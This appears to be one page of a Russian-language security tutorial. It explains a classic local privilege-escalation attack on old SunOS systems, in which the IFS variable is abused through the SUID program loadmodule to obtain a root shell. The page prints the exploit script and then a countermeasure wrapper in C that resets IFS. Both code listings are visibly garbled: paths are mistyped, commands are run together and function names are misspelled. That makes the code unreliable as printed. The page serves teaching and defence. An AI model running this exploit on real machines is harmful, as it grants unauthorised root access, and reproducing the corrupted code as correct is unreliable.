Иллюстрированный самоучитель по Secure Web


Локальный доступ - часть 22


#!/bin/csh

cd /trap

mkdir bin cd bin cat > bin « EOF<R #!/bin/sh

sh -I

EOF

chmod 755 /tmp/bin/bin

setenv IFS /

/usr/openwin/bin/loadmodule
/sys/sun4c/OBJ/evqmod-sun4c.о

/etc/openwin/modules/evqload

Данный сценарий взлома делает текущим каталог /tmp и создает в нем дочерний каталог /bin. Как это зачастую бывает, создается копия /bin/sh, которая вскоре будет запущена. Затем для переменной IFS в сценарии устанавливается значение / вместо символа пробела. Поскольку в переменной 1FS содержится значение /, то SUID-программа loadmodule, ничего не подозревая, запускает на выполнение программу /tmp/bin/bin. В результате создается копия командной оболочки с привилегиями суперпользователя, которой взломщику остается лишь воспользоваться.

Контрмеры: защита переменной IFS


При взломе с использованием переменной IFS в большинстве случаев мишенью злоумышленников является системная функция system(). Вызов этой функции используется в оболочке sh для анализа командной строки перед ее выполнением Для того чтобы избежать возможных злоупотреблений, можно применить простую программу, которая автоматически устанавливает в качестве значения переменной IFS символ пробела. Ниже приведен пример такой программы, код которой предоставил Джереми Рауч (Jeremy Rauch). 

#define EXECPATH "/usr/bin/real/"

main(int argc, char **argv)

{ char pathname[1024]; if (strlen(EXECPATH)
+ strlen(argv[0]) + l> 1024)

exit(-1);

strcpy(pathname, EXECPATH);

street(pathname, argv[0]);

putenv("IFS= \n\t");

execv(pathname, argv, argc);

}

К счастью, большинство современных версий UNIX игнорирует значение переменной IFS, если командная оболочка работает с привилегиями суперпользователя, а ее эффективный UID отличается от реального UID. В качестве совета можно еше pas подчеркнуть, что не нужно создавать сценарии с привилегиями SUID, а количество SUID-файлов свести к минимуму.





Начало  Назад  Вперед



Книжный магазин